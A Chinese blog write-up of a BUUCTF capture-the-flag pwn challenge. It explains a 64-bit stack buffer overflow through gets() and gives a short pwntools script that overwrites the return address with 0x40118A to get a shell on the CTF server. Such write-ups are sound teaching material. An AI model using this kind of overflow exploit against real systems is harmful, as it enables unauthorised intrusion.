先checksec一下,64位,没开栈溢出保护
进ida看一下,有个gets,s是15个字符
然后还有另一个fun()函数
现在我们就可以利用栈溢出
用15个字符先填满函数缓冲区,然后用8个字符(64位)填满缓冲区下面的rbp区域,再下面就是返回地址了,我们把它填成system命令的地址0x40118A
EXP如下
from pwn import *
p=remote('node5.buuoj.cn',27826)
p.sendline(b'A'*23 + p64(0x40118A))
p.interactive()
执行后用ls指令,然后用cat指令读取flag文件,即可得到flag
标签:buuctf,15,rip,64,pwn,个字符 From: https://www.cnblogs.com/yee-l/p/18306758